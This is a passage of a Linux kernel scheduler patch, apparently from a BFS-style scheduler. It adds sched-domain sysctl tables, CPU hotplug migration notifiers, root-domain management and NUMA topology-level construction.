++	set_table_entry(&table[3], "idle_idx", &sd->idle_idx,
++		sizeof(int), 0644, proc_dointvec_minmax);
++	set_table_entry(&table[4], "newidle_idx", &sd->newidle_idx,
++		sizeof(int), 0644, proc_dointvec_minmax);
++	set_table_entry(&table[5], "wake_idx", &sd->wake_idx,
++		sizeof(int), 0644, proc_dointvec_minmax);
++	set_table_entry(&table[6], "forkexec_idx", &sd->forkexec_idx,
++		sizeof(int), 0644, proc_dointvec_minmax);
++	set_table_entry(&table[7], "busy_factor", &sd->busy_factor,
++		sizeof(int), 0644, proc_dointvec_minmax);
++	set_table_entry(&table[8], "imbalance_pct", &sd->imbalance_pct,
++		sizeof(int), 0644, proc_dointvec_minmax);
++	set_table_entry(&table[9], "cache_nice_tries",
++		&sd->cache_nice_tries,
++		sizeof(int), 0644, proc_dointvec_minmax);
++	set_table_entry(&table[10], "flags", &sd->flags,
++		sizeof(int), 0644, proc_dointvec_minmax);
++	set_table_entry(&table[11], "name", sd->name,
++		CORENAME_MAX_SIZE, 0444, proc_dostring);
++	/* &table[12] is terminator */
++
++	return table;
++}
++
++static ctl_table *sd_alloc_ctl_cpu_table(int cpu)
++{
++	struct ctl_table *entry, *table;
++	struct sched_domain *sd;
++	int domain_num = 0, i;
++	char buf[32];
++
++	for_each_domain(cpu, sd)
++		domain_num++;
++	entry = table = sd_alloc_ctl_entry(domain_num + 1);
++	if (table == NULL)
++		return NULL;
++
++	i = 0;
++	for_each_domain(cpu, sd) {
++		snprintf(buf, 32, "domain%d", i);
++		entry->procname = kstrdup(buf, GFP_KERNEL);
++		entry->mode = 0555;
++		entry->child = sd_alloc_ctl_domain_table(sd);
++		entry++;
++		i++;
++	}
++	return table;
++}
++
++static struct ctl_table_header *sd_sysctl_header;
++static void register_sched_domain_sysctl(void)
++{
++	int i, cpu_num = num_possible_cpus();
++	struct ctl_table *entry = sd_alloc_ctl_entry(cpu_num + 1);
++	char buf[32];
++
++	WARN_ON(sd_ctl_dir[0].child);
++	sd_ctl_dir[0].child = entry;
++
++	if (entry == NULL)
++		return;
++
++	for_each_possible_cpu(i) {
++		snprintf(buf, 32, "cpu%d", i);
++		entry->procname = kstrdup(buf, GFP_KERNEL);
++		entry->mode = 0555;
++		entry->child = sd_alloc_ctl_cpu_table(i);
++		entry++;
++	}
++
++	WARN_ON(sd_sysctl_header);
++	sd_sysctl_header = register_sysctl_table(sd_ctl_root);
++}
++
++/* may be called multiple times per register */
++static void unregister_sched_domain_sysctl(void)
++{
++	if (sd_sysctl_header)
++		unregister_sysctl_table(sd_sysctl_header);
++	sd_sysctl_header = NULL;
++	if (sd_ctl_dir[0].child)
++		sd_free_ctl_entry(&sd_ctl_dir[0].child);
++}
++#else
++static void register_sched_domain_sysctl(void)
++{
++}
++static void unregister_sched_domain_sysctl(void)
++{
++}
++#endif
++
++static void set_rq_online(struct rq *rq)
++{
++	if (!rq->online) {
++		cpumask_set_cpu(cpu_of(rq), rq->rd->online);
++		rq->online = true;
++	}
++}
++
++static void set_rq_offline(struct rq *rq)
++{
++	if (rq->online) {
++		cpumask_clear_cpu(cpu_of(rq), rq->rd->online);
++		rq->online = false;
++	}
++}
++
++/*
++ * migration_call - callback that gets triggered when a CPU is added.
++ */
++static int __cpuinit
++migration_call(struct notifier_block *nfb, unsigned long action, void *hcpu)
++{
++	int cpu = (long)hcpu;
++	unsigned long flags;
++	struct rq *rq = cpu_rq(cpu);
++#ifdef CONFIG_HOTPLUG_CPU
++	struct task_struct *idle = rq->idle;
++#endif
++
++	switch (action & ~CPU_TASKS_FROZEN) {
++
++	case CPU_UP_PREPARE:
++		break;
++
++	case CPU_ONLINE:
++		/* Update our root-domain */
++		grq_lock_irqsave(&flags);
++		if (rq->rd) {
++			BUG_ON(!cpumask_test_cpu(cpu, rq->rd->span));
++
++			set_rq_online(rq);
++		}
++		grq.noc = num_online_cpus();
++		grq_unlock_irqrestore(&flags);
++		break;
++
++#ifdef CONFIG_HOTPLUG_CPU
++	case CPU_DEAD:
++		/* Idle task back to normal (off runqueue, low prio) */
++		grq_lock_irq();
++		return_task(idle, true);
++		idle->static_prio = MAX_PRIO;
++		__setscheduler(idle, rq, SCHED_NORMAL, 0);
++		idle->prio = PRIO_LIMIT;
++		set_rq_task(rq, idle);
++		update_clocks(rq);
++		grq_unlock_irq();
++		break;
++
++	case CPU_DYING:
++		/* Update our root-domain */
++		grq_lock_irqsave(&flags);
++		if (rq->rd) {
++			BUG_ON(!cpumask_test_cpu(cpu, rq->rd->span));
++			set_rq_offline(rq);
++		}
++		break_sole_affinity(cpu, idle);
++		grq.noc = num_online_cpus();
++		grq_unlock_irqrestore(&flags);
++		break;
++#endif
++	}
++	return NOTIFY_OK;
++}
++
++/*
++ * Register at high priority so that task migration (migrate_all_tasks)
++ * happens before everything else.  This has to be lower priority than
++ * the notifier in the perf_counter subsystem, though.
++ */
++static struct notifier_block __cpuinitdata migration_notifier = {
++	.notifier_call = migration_call,
++	.priority = CPU_PRI_MIGRATION,
++};
++
++static int __cpuinit sched_cpu_active(struct notifier_block *nfb,
++				      unsigned long action, void *hcpu)
++{
++	switch (action & ~CPU_TASKS_FROZEN) {
++	case CPU_STARTING:
++	case CPU_DOWN_FAILED:
++		set_cpu_active((long)hcpu, true);
++		return NOTIFY_OK;
++	default:
++		return NOTIFY_DONE;
++	}
++}
++
++static int __cpuinit sched_cpu_inactive(struct notifier_block *nfb,
++					unsigned long action, void *hcpu)
++{
++	switch (action & ~CPU_TASKS_FROZEN) {
++	case CPU_DOWN_PREPARE:
++		set_cpu_active((long)hcpu, false);
++		return NOTIFY_OK;
++	default:
++		return NOTIFY_DONE;
++	}
++}
++
++int __init migration_init(void)
++{
++	void *cpu = (void *)(long)smp_processor_id();
++	int err;
++
++	/* Initialise migration for the boot CPU */
++	err = migration_call(&migration_notifier, CPU_UP_PREPARE, cpu);
++	BUG_ON(err == NOTIFY_BAD);
++	migration_call(&migration_notifier, CPU_ONLINE, cpu);
++	register_cpu_notifier(&migration_notifier);
++
++	/* Register cpu active notifiers */
++	cpu_notifier(sched_cpu_active, CPU_PRI_SCHED_ACTIVE);
++	cpu_notifier(sched_cpu_inactive, CPU_PRI_SCHED_INACTIVE);
++
++	return 0;
++}
++early_initcall(migration_init);
++#endif
++
++#ifdef CONFIG_SMP
++
++static cpumask_var_t sched_domains_tmpmask; /* sched_domains_mutex */
++
++#ifdef CONFIG_SCHED_DEBUG
++
++static __read_mostly int sched_debug_enabled;
++
++static int __init sched_debug_setup(char *str)
++{
++	sched_debug_enabled = 1;
++
++	return 0;
++}
++early_param("sched_debug", sched_debug_setup);
++
++static inline bool sched_debug(void)
++{
++	return sched_debug_enabled;
++}
++
++static int sched_domain_debug_one(struct sched_domain *sd, int cpu, int level,
++				  struct cpumask *groupmask)
++{
++	char str[256];
++
++	cpulist_scnprintf(str, sizeof(str), sched_domain_span(sd));
++	cpumask_clear(groupmask);
++
++	printk(KERN_DEBUG "%*s domain %d: ", level, "", level);
++
++	if (!(sd->flags & SD_LOAD_BALANCE)) {
++		printk("does not load-balance\n");
++		if (sd->parent)
++			printk(KERN_ERR "ERROR: !SD_LOAD_BALANCE domain"
++					" has parent");
++		return -1;
++	}
++
++	printk(KERN_CONT "span %s level %s\n", str, sd->name);
++
++	if (!cpumask_test_cpu(cpu, sched_domain_span(sd))) {
++		printk(KERN_ERR "ERROR: domain->span does not contain "
++				"CPU%d\n", cpu);
++	}
++
++	printk(KERN_CONT "\n");
++
++	if (!cpumask_equal(sched_domain_span(sd), groupmask))
++		printk(KERN_ERR "ERROR: groups don't span domain->span\n");
++
++	if (sd->parent &&
++	    !cpumask_subset(groupmask, sched_domain_span(sd->parent)))
++		printk(KERN_ERR "ERROR: parent span is not a superset "
++			"of domain->span\n");
++	return 0;
++}
++
++static void sched_domain_debug(struct sched_domain *sd, int cpu)
++{
++	int level = 0;
++
++	if (!sched_debug_enabled)
++		return;
++
++	if (!sd) {
++		printk(KERN_DEBUG "CPU%d attaching NULL sched-domain.\n", cpu);
++		return;
++	}
++
++	printk(KERN_DEBUG "CPU%d attaching sched-domain:\n", cpu);
++
++	for (;;) {
++		if (sched_domain_debug_one(sd, cpu, level, sched_domains_tmpmask))
++			break;
++		level++;
++		sd = sd->parent;
++		if (!sd)
++			break;
++	}
++}
++#else /* !CONFIG_SCHED_DEBUG */
++# define sched_domain_debug(sd, cpu) do { } while (0)
++static inline bool sched_debug(void)
++{
++	return false;
++}
++#endif /* CONFIG_SCHED_DEBUG */
++
++static int sd_degenerate(struct sched_domain *sd)
++{
++	if (cpumask_weight(sched_domain_span(sd)) == 1)
++		return 1;
++
++	/* Following flags don't use groups */
++	if (sd->flags & (SD_WAKE_AFFINE))
++		return 0;
++
++	return 1;
++}
++
++static int
++sd_parent_degenerate(struct sched_domain *sd, struct sched_domain *parent)
++{
++	unsigned long cflags = sd->flags, pflags = parent->flags;
++
++	if (sd_degenerate(parent))
++		return 1;
++
++	if (!cpumask_equal(sched_domain_span(sd), sched_domain_span(parent)))
++		return 0;
++
++	if (~cflags & pflags)
++		return 0;
++
++	return 1;
++}
++
++static void free_rootdomain(struct rcu_head *rcu)
++{
++	struct root_domain *rd = container_of(rcu, struct root_domain, rcu);
++
++	cpupri_cleanup(&rd->cpupri);
++	free_cpumask_var(rd->rto_mask);
++	free_cpumask_var(rd->online);
++	free_cpumask_var(rd->span);
++	kfree(rd);
++}
++
++static void rq_attach_root(struct rq *rq, struct root_domain *rd)
++{
++	struct root_domain *old_rd = NULL;
++	unsigned long flags;
++
++	grq_lock_irqsave(&flags);
++
++	if (rq->rd) {
++		old_rd = rq->rd;
++
++		if (cpumask_test_cpu(rq->cpu, old_rd->online))
++			set_rq_offline(rq);
++
++		cpumask_clear_cpu(rq->cpu, old_rd->span);
++
++		/*
++		 * If we dont want to free the old_rt yet then
++		 * set old_rd to NULL to skip the freeing later
++		 * in this function:
++		 */
++		if (!atomic_dec_and_test(&old_rd->refcount))
++			old_rd = NULL;
++	}
++
++	atomic_inc(&rd->refcount);
++	rq->rd = rd;
++
++	cpumask_set_cpu(rq->cpu, rd->span);
++	if (cpumask_test_cpu(rq->cpu, cpu_active_mask))
++		set_rq_online(rq);
++
++	grq_unlock_irqrestore(&flags);
++
++	if (old_rd)
++		call_rcu_sched(&old_rd->rcu, free_rootdomain);
++}
++
++static int init_rootdomain(struct root_domain *rd)
++{
++	memset(rd, 0, sizeof(*rd));
++
++	if (!alloc_cpumask_var(&rd->span, GFP_KERNEL))
++		goto out;
++	if (!alloc_cpumask_var(&rd->online, GFP_KERNEL))
++		goto free_span;
++	if (!alloc_cpumask_var(&rd->rto_mask, GFP_KERNEL))
++		goto free_online;
++
++	if (cpupri_init(&rd->cpupri) != 0)
++		goto free_rto_mask;
++	return 0;
++
++free_rto_mask:
++	free_cpumask_var(rd->rto_mask);
++free_online:
++	free_cpumask_var(rd->online);
++free_span:
++	free_cpumask_var(rd->span);
++out:
++	return -ENOMEM;
++}
++
++static void init_defrootdomain(void)
++{
++	init_rootdomain(&def_root_domain);
++
++	atomic_set(&def_root_domain.refcount, 1);
++}
++
++static struct root_domain *alloc_rootdomain(void)
++{
++	struct root_domain *rd;
++
++	rd = kmalloc(sizeof(*rd), GFP_KERNEL);
++	if (!rd)
++		return NULL;
++
++	if (init_rootdomain(rd) != 0) {
++		kfree(rd);
++		return NULL;
++	}
++
++	return rd;
++}
++
++static void free_sched_domain(struct rcu_head *rcu)
++{
++	struct sched_domain *sd = container_of(rcu, struct sched_domain, rcu);
++
++	kfree(sd);
++}
++
++static void destroy_sched_domain(struct sched_domain *sd, int cpu)
++{
++	call_rcu(&sd->rcu, free_sched_domain);
++}
++
++static void destroy_sched_domains(struct sched_domain *sd, int cpu)
++{
++	for (; sd; sd = sd->parent)
++		destroy_sched_domain(sd, cpu);
++}
++
++/*
++ * Attach the domain 'sd' to 'cpu' as its base domain. Callers must
++ * hold the hotplug lock.
++ */
++static void
++cpu_attach_domain(struct sched_domain *sd, struct root_domain *rd, int cpu)
++{
++	struct rq *rq = cpu_rq(cpu);
++	struct sched_domain *tmp;
++
++	/* Remove the sched domains which do not contribute to scheduling. */
++	for (tmp = sd; tmp; ) {
++		struct sched_domain *parent = tmp->parent;
++		if (!parent)
++			break;
++
++		if (sd_parent_degenerate(tmp, parent)) {
++			tmp->parent = parent->parent;
++			if (parent->parent)
++				parent->parent->child = tmp;
++			destroy_sched_domain(parent, cpu);
++		} else
++			tmp = tmp->parent;
++	}
++
++	if (sd && sd_degenerate(sd)) {
++		tmp = sd;
++		sd = sd->parent;
++		destroy_sched_domain(tmp, cpu);
++		if (sd)
++			sd->child = NULL;
++	}
++
++	sched_domain_debug(sd, cpu);
++
++	rq_attach_root(rq, rd);
++	tmp = rq->sd;
++	rcu_assign_pointer(rq->sd, sd);
++	destroy_sched_domains(tmp, cpu);
++}
++
++/* cpus with isolated domains */
++static cpumask_var_t cpu_isolated_map;
++
++/* Setup the mask of cpus configured for isolated domains */
++static int __init isolated_cpu_setup(char *str)
++{
++	alloc_bootmem_cpumask_var(&cpu_isolated_map);
++	cpulist_parse(str, cpu_isolated_map);
++	return 1;
++}
++
++__setup("isolcpus=", isolated_cpu_setup);
++
++static const struct cpumask *cpu_cpu_mask(int cpu)
++{
++	return cpumask_of_node(cpu_to_node(cpu));
++}
++
++struct sd_data {
++	struct sched_domain **__percpu sd;
++};
++
++struct s_data {
++	struct sched_domain ** __percpu sd;
++	struct root_domain	*rd;
++};
++
++enum s_alloc {
++	sa_rootdomain,
++	sa_sd,
++	sa_sd_storage,
++	sa_none,
++};
++
++struct sched_domain_topology_level;
++
++typedef struct sched_domain *(*sched_domain_init_f)(struct sched_domain_topology_level *tl, int cpu);
++typedef const struct cpumask *(*sched_domain_mask_f)(int cpu);
++
++#define SDTL_OVERLAP	0x01
++
++struct sched_domain_topology_level {
++	sched_domain_init_f init;
++	sched_domain_mask_f mask;
++	int		    flags;
++	int		    numa_level;
++	struct sd_data      data;
++};
++
++/*
++ * Initializers for schedule domains
++ * Non-inlined to reduce accumulated stack pressure in build_sched_domains()
++ */
++
++#ifdef CONFIG_SCHED_DEBUG
++# define SD_INIT_NAME(sd, type)		sd->name = #type
++#else
++# define SD_INIT_NAME(sd, type)		do { } while (0)
++#endif
++
++#define SD_INIT_FUNC(type)						\
++static noinline struct sched_domain *					\
++sd_init_##type(struct sched_domain_topology_level *tl, int cpu) 	\
++{									\
++	struct sched_domain *sd = *per_cpu_ptr(tl->data.sd, cpu);	\
++	*sd = SD_##type##_INIT;						\
++	SD_INIT_NAME(sd, type);						\
++	sd->private = &tl->data;					\
++	return sd;							\
++}
++
++SD_INIT_FUNC(CPU)
++#ifdef CONFIG_SCHED_SMT
++ SD_INIT_FUNC(SIBLING)
++#endif
++#ifdef CONFIG_SCHED_MC
++ SD_INIT_FUNC(MC)
++#endif
++#ifdef CONFIG_SCHED_BOOK
++ SD_INIT_FUNC(BOOK)
++#endif
++
++static int default_relax_domain_level = -1;
++int sched_domain_level_max;
++
++static int __init setup_relax_domain_level(char *str)
++{
++	if (kstrtoint(str, 0, &default_relax_domain_level))
++		pr_warn("Unable to set relax_domain_level\n");
++
++	return 1;
++}
++__setup("relax_domain_level=", setup_relax_domain_level);
++
++static void set_domain_attribute(struct sched_domain *sd,
++				 struct sched_domain_attr *attr)
++{
++	int request;
++
++	if (!attr || attr->relax_domain_level < 0) {
++		if (default_relax_domain_level < 0)
++			return;
++		else
++			request = default_relax_domain_level;
++	} else
++		request = attr->relax_domain_level;
++	if (request < sd->level) {
++		/* turn off idle balance on this domain */
++		sd->flags &= ~(SD_BALANCE_WAKE|SD_BALANCE_NEWIDLE);
++	} else {
++		/* turn on idle balance on this domain */
++		sd->flags |= (SD_BALANCE_WAKE|SD_BALANCE_NEWIDLE);
++	}
++}
++
++static void __sdt_free(const struct cpumask *cpu_map);
++static int __sdt_alloc(const struct cpumask *cpu_map);
++
++static void __free_domain_allocs(struct s_data *d, enum s_alloc what,
++				 const struct cpumask *cpu_map)
++{
++	switch (what) {
++	case sa_rootdomain:
++		if (!atomic_read(&d->rd->refcount))
++			free_rootdomain(&d->rd->rcu); /* fall through */
++	case sa_sd:
++		free_percpu(d->sd); /* fall through */
++	case sa_sd_storage:
++		__sdt_free(cpu_map); /* fall through */
++	case sa_none:
++		break;
++	}
++}
++
++static enum s_alloc __visit_domain_allocation_hell(struct s_data *d,
++						   const struct cpumask *cpu_map)
++{
++	memset(d, 0, sizeof(*d));
++
++	if (__sdt_alloc(cpu_map))
++		return sa_sd_storage;
++	d->sd = alloc_percpu(struct sched_domain *);
++	if (!d->sd)
++		return sa_sd_storage;
++	d->rd = alloc_rootdomain();
++	if (!d->rd)
++		return sa_sd;
++	return sa_rootdomain;
++}
++
++/*
++ * NULL the sd_data elements we've used to build the sched_domain
++ * structure so that the subsequent __free_domain_allocs()
++ * will not free the data we're using.
++ */
++static void claim_allocations(int cpu, struct sched_domain *sd)
++{
++	struct sd_data *sdd = sd->private;
++
++	WARN_ON_ONCE(*per_cpu_ptr(sdd->sd, cpu) != sd);
++	*per_cpu_ptr(sdd->sd, cpu) = NULL;
++}
++
++#ifdef CONFIG_SCHED_SMT
++static const struct cpumask *cpu_smt_mask(int cpu)
++{
++	return topology_thread_cpumask(cpu);
++}
++#endif
++
++/*
++ * Topology list, bottom-up.
++ */
++static struct sched_domain_topology_level default_topology[] = {
++#ifdef CONFIG_SCHED_SMT
++	{ sd_init_SIBLING, cpu_smt_mask, },
++#endif
++#ifdef CONFIG_SCHED_MC
++	{ sd_init_MC, cpu_coregroup_mask, },
++#endif
++#ifdef CONFIG_SCHED_BOOK
++	{ sd_init_BOOK, cpu_book_mask, },
++#endif
++	{ sd_init_CPU, cpu_cpu_mask, },
++	{ NULL, },
++};
++
++static struct sched_domain_topology_level *sched_domain_topology = default_topology;
++
++#ifdef CONFIG_NUMA
++
++static int sched_domains_numa_levels;
++static int *sched_domains_numa_distance;
++static struct cpumask ***sched_domains_numa_masks;
++static int sched_domains_curr_level;
++
++static inline int sd_local_flags(int level)
++{
++	if (sched_domains_numa_distance[level] > RECLAIM_DISTANCE)
++		return 0;
++
++	return SD_BALANCE_EXEC | SD_BALANCE_FORK | SD_WAKE_AFFINE;
++}
++
++static struct sched_domain *
++sd_numa_init(struct sched_domain_topology_level *tl, int cpu)
++{
++	struct sched_domain *sd = *per_cpu_ptr(tl->data.sd, cpu);
++	int level = tl->numa_level;
++	int sd_weight = cpumask_weight(
++			sched_domains_numa_masks[level][cpu_to_node(cpu)]);
++
++	*sd = (struct sched_domain){
++		.min_interval		= sd_weight,
++		.max_interval		= 2*sd_weight,
++		.busy_factor		= 32,
++		.imbalance_pct		= 125,
++		.cache_nice_tries	= 2,
++		.busy_idx		= 3,
++		.idle_idx		= 2,
++		.newidle_idx		= 0,
++		.wake_idx		= 0,
++		.forkexec_idx		= 0,
++
++		.flags			= 1*SD_LOAD_BALANCE
++					| 1*SD_BALANCE_NEWIDLE
++					| 0*SD_BALANCE_EXEC
++					| 0*SD_BALANCE_FORK
++					| 0*SD_BALANCE_WAKE
++					| 0*SD_WAKE_AFFINE
++					| 0*SD_SHARE_CPUPOWER
++					| 0*SD_SHARE_PKG_RESOURCES
++					| 1*SD_SERIALIZE
++					| 0*SD_PREFER_SIBLING
++					| sd_local_flags(level)
++					,
++		.last_balance		= jiffies,
++		.balance_interval	= sd_weight,
++	};
++	SD_INIT_NAME(sd, NUMA);
++	sd->private = &tl->data;
++
++	/*
++	 * Ugly hack to pass state to sd_numa_mask()...
++	 */
++	sched_domains_curr_level = tl->numa_level;
++
++	return sd;
++}
++
++static const struct cpumask *sd_numa_mask(int cpu)
++{
++	return sched_domains_numa_masks[sched_domains_curr_level][cpu_to_node(cpu)];
++}
++
++static void sched_numa_warn(const char *str)
++{
++	static int done = false;
++	int i,j;
++
++	if (done)
++		return;
++
++	done = true;
++
++	printk(KERN_WARNING "ERROR: %s\n\n", str);
++
++	for (i = 0; i < nr_node_ids; i++) {
++		printk(KERN_WARNING "  ");
++		for (j = 0; j < nr_node_ids; j++)
++			printk(KERN_CONT "%02d ", node_distance(i,j));
++		printk(KERN_CONT "\n");
++	}
++	printk(KERN_WARNING "\n");
++}
++
++static bool find_numa_distance(int distance)
++{
++	int i;
++
++	if (distance == node_distance(0, 0))
++		return true;
++
++	for (i = 0; i < sched_domains_numa_levels; i++) {
++		if (sched_domains_numa_distance[i] == distance)
++			return true;
++	}
++
++	return false;
++}
++
++static void sched_init_numa(void)
++{
++	int next_distance, curr_distance = node_distance(0, 0);
++	struct sched_domain_topology_level *tl;
++	int level = 0;
++	int i, j, k;
++
++	sched_domains_numa_distance = kzalloc(sizeof(int) * nr_node_ids, GFP_KERNEL);
++	if (!sched_domains_numa_distance)
++		return;
++
++	/*
++	 * O(nr_nodes^2) deduplicating selection sort -- in order to find the
++	 * unique distances in the node_distance() table.
++	 *
++	 * Assumes node_distance(0,j) includes all distances in
++	 * node_distance(i,j) in order to avoid cubic time.
++	 */
++	next_distance = curr_distance;
++	for (i = 0; i < nr_node_ids; i++) {
++		for (j = 0; j < nr_node_ids; j++) {
++			for (k = 0; k < nr_node_ids; k++) {
++				int distance = node_distance(i, k);
++
++				if (distance > curr_distance &&
++				    (distance < next_distance ||
++				     next_distance == curr_distance))
++					next_distance = distance;
++
++				/*
++				 * While not a strong assumption it would be nice to know
++				 * about cases where if node A is connected to B, B is not
++				 * equally connected to A.
++				 */
++				if (sched_debug() && node_distance(k, i) != distance)
++					sched_numa_warn("Node-distance not symmetric");
++
++				if (sched_debug() && i && !find_numa_distance(distance))
++					sched_numa_warn("Node-0 not representative");
++			}
++			if (next_distance != curr_distance) {
++				sched_domains_numa_distance[level++] = next_distance;
++				sched_domains_numa_levels = level;
++				curr_distance = next_distance;
++			} else break;
++		}
++
++		/*
++		 * In case of sched_debug() we verify the above assumption.
++		 */
++		if (!sched_debug())
++			break;
++	}
++	/*
++	 * 'level' contains the number of unique distances, excluding the
++	 * identity distance node_distance(i,i).
++	 *
++	 * The sched_domains_numa_distance[] array includes the actual distance
++	 * numbers.
++	 */
++
++	/*
++	 * Here, we should temporarily reset sched_domains_numa_levels to 0.
++	 * If it fails to allocate memory for array sched_domains_numa_masks[][],
++	 * the array will contain less then 'level' members. This could be
++	 * dangerous when we use it to iterate array sched_domains_numa_masks[][]
++	 * in other functions.
++	 *
++	 * We reset it to 'level' at the end of this function.
++	 */
++	sched_domains_numa_levels = 0;
++
++	sched_domains_numa_masks = kzalloc(sizeof(void *) * level, GFP_KERNEL);
++	if (!sched_domains_numa_masks)
++		return;
++
++	/*
++	 * Now for each level, construct a mask per node which contains all
++	 * cpus of nodes that are that many hops away from us.
++	 */
++	for (i = 0; i < level; i++) {
++		sched_domains_numa_masks[i] =
++			kzalloc(nr_node_ids * sizeof(void *), GFP_KERNEL);
++		if (!sched_domains_numa_masks[i])
++			return;
++
++		for (j = 0; j < nr_node_ids; j++) {
++			struct cpumask *mask = kzalloc(cpumask_size(), GFP_KERNEL);
++			if (!mask)
++				return;
++
++			sched_domains_numa_masks[i][j] = mask;
++
++			for (k = 0; k < nr_node_ids; k++) {
++				if (node_distance(j, k) > sched_domains_numa_distance[i])
++					continue;
++
++				cpumask_or(mask, mask, cpumask_of_node(k));
++			}
++		}
++	}
++
++	tl = kzalloc((ARRAY_SIZE(default_topology) + level) *
++			sizeof(struct sched_domain_topology_level), GFP_KERNEL);
++	if (!tl)
++		return;
++
++	/*
++	 * Copy the default topology bits..
++	 */
++	for (i = 0; default_topology[i].init; i++)
++		tl[i] = default_topology[i];
++
++	/*
++	 * .. and append 'j' levels of NUMA goodness.
++	 */
++	for (j = 0; j < level; i++, j++) {
++		tl[i] = (struct sched_domain_topology_level){
++			.init = sd_numa_init,
++			.mask = sd_numa_mask,
++			.flags = SDTL_OVERLAP,
++			.numa_level = j,
++		};
++	}
++
++	sched_domain_topology = tl;
++
++	sched_domains_numa_levels = level;
++}
++
++static void sched_domains_numa_masks_set(int cpu)
++{
++	int i, j;
++	int node = cpu_to_node(cpu);
++
++	for (i = 0; i < sched_domains_numa_levels; i++) {
++		for (j = 0; j < nr_node_ids; j++) {
++			if (node_distance(j, node) <= sched_domains_numa_distance[i])
++				cpumask_set_cpu(cpu, sched_domains_numa_masks[i][j]);
++		}
++	}
++}
++
++static void sched_domains_numa_masks_clear(int cpu)
++{
++	int i, j;
++	for (i = 0; i < sched_domains_numa_levels; i++) {
++		for (j = 0; j < nr_node_ids; j++)
++			cpumask_clear_cpu(cpu, sched_domains_numa_masks[i][j]);
++	}
++}
++
++/*
++ * Update sched_domains_numa_masks[level][node] array when new cpus
++ * are onlined.
++ */
++static int sched_domains_numa_masks_update(struct notifier_block *nfb,
++					   unsigned long action,
++					   void *hcpu)
++{
++	int cpu = (long)hcpu;
++
++	switch (action & ~CPU_TASKS_FROZEN) {
++	case CPU_ONLINE:
++		sched_domains_numa_masks_set(cpu);
++		break;
++
++	case CPU_DEAD:
++		sched_domains_numa_masks_clear(cpu);
++		break;
++
++	default:
++		return NOTIFY_DONE;
++	}
++
++	return NOTIFY_OK;
++}
++#else
++static inline void sched_init_numa(void)
++{
++}
++
++static int sched_domains_numa_masks_update(struct notifier_block *nfb,
++					   unsigned long action,
++					   void *hcpu)
++{
++	return 0;
++}
++#endif /* CONFIG_NUMA */
++
++static int __sdt_alloc(const struct cpumask *cpu_map)
++{
++	struct sched_domain_topology_level *tl;
++	int j;
++
++	for (tl = sched_domain_topology; tl->init; tl++) {
++		struct sd_data *sdd = &tl->data;
++
++		sdd->sd = alloc_percpu(struct sched_domain *);
++		if (!sdd->sd)
++			return -ENOMEM;
++
++		for_each_cpu(j, cpu_map) {
++			struct sched_domain *sd;
++
++		       	sd = kzalloc_node(sizeof(struct sched_domain) + cpumask_size(),
++					GFP_KERNEL, cpu_to_node(j));
++			if (!sd)
++				return -ENOMEM;
++
++			*per_cpu_ptr(sdd->sd, j) = sd;
++		}
++	}
++
++	return 0;
++}
++
++static void __sdt_free(const struct cpumask *cpu_map)
++{
++	struct sched_domain_topology_level *tl;
++	int j;
++
++	for (tl = sched_domain_topology; tl->init; tl++) {
++		struct sd_data *sdd = &tl->data;
++
++		for_each_cpu(j, cpu_map) {
++			struct sched_domain *sd;
++
++			if (sdd->sd) {
++				sd = *per_cpu_ptr(sdd->sd, j);
++				kfree(*per_cpu_ptr(sdd->sd, j));
++			}
++		}
++		free_percpu(sdd->sd);
++		sdd->sd = NULL;
++	}
++}
++
++struct sched_domain *build_sched_domain(struct sched_domain_topology_level *tl,
++		struct s_data *d, const struct cpumask *cpu_map,
++		struct sched_domain_attr *attr, struct sched_domain *child,
++		int cpu)
++{
++	struct sched_domain *sd = tl->init(tl, cpu);
++	if (!sd)
++		return child;
++
++	cpumask_and(sched_domain_span(sd), cpu_map, tl->mask(cpu));
++	if (child) {
++		sd->level = child->level + 1;
++		sched_domain_level_max = max(sched_domain_level_max, sd->level);
++		child->parent = sd;
++	}
++	sd->child = child;
++	set_domain_attribute(sd, attr);
++
++	return sd;
++}
++
++/*
++ * Build sched domains for a given set of cpus and attach the sched domains
++ * to the individual cpus
++ */
++static int build_sched_domains(const struct cpumask *cpu_map,
++			       struct sched_domain_attr *attr)
++{
++	enum s_alloc alloc_state = sa_none;
++	struct sched_domain *sd;
++	struct s_data d;
++	int i, ret = -ENOMEM;
++
++	alloc_state = __visit_domain_allocation_hell(&d, cpu_map);
++	if (alloc_state != sa_rootdomain)
++		goto error;
++
++	/* Set up domains for cpus specified by the cpu_map. */
++	for_each_cpu(i, cpu_map) {
++		struct sched_domain_topology_level *tl;
++
++		sd = NULL;
++		for (tl = sched_domain_topology; tl->init; tl++) {
++			sd = build_sched_domain(tl, &d, cpu_map, attr, sd, i);
++			if (tl->flags & SDTL_OVERLAP)
++				sd->flags |= SD_OVERLAP;
++			if (cpumask_equal(cpu_map, sched_domain_span(sd)))
++				break;
++		}
++
++		while (sd->child)
++			sd = sd->child;
++
++		*per_cpu_ptr(d.sd, i) = sd;
++	}
++
++	/* Calculate CPU power for physical packages and nodes */
++	for (i = nr_cpumask_bits-1; i >= 0; i--) {
++		if (!cpumask_test_cpu(i, cpu_map))
++			continue;
++
++		for (sd = *per_cpu_ptr(d.sd, i); sd; sd = sd->parent) {
++			claim_allocations(i, sd);
++		}
++	}
++
++	/* Attach the domains */
++	rcu_read_lock();
++	for_each_cpu(i, cpu_map) {
++		sd = *per_cpu_ptr(d.sd, i);
++		cpu_attach_domain(sd, d.rd, i);
++	}
++	rcu_read_unlock();
++
++	ret = 0;
++error:
++	__free_domain_allocs(&d, alloc_state, cpu_map);
++	return ret;
++}
++
++static cpumask_var_t *doms_cur;	/* current sched domains */
++static int ndoms_cur;		/* number of sched domains in 'doms_cur' */
++static struct sched_domain_attr *dattr_cur;
++				/* attribues of custom domains in 'doms_cur' */
++
++/*
++ * Special case: If a kmalloc of a doms_cur partition (array of
++ * cpumask) fails, then fallback to a single sched domain,
++ * as determined by the single cpumask fallback_doms.
++ */
++static cpumask_var_t fallback_doms;
++
++/*
++ * arch_update_cpu_topology lets virtualized architectures update the
++ * cpu core maps. It is supposed to return 1 if the topology changed
++ * or 0 if it stayed the same.
++ */
++int __attribute__((weak)) arch_update_cpu_topology(void)
++{
++	return 0;
++}
++
++cpumask_var_t *alloc_sched_domains(unsigned int ndoms)
++{
++	int i;
++	cpumask_var_t *doms;
++
++	doms = kmalloc(sizeof(*doms) * ndoms, GFP_KERNEL);
++	if (!doms)
++		return NULL;
++	for (i = 0; i < ndoms; i++) {
++		if (!alloc_cpumask_var(&doms[i], GFP_KERNEL)) {
++			free_sched_domains(doms, i);
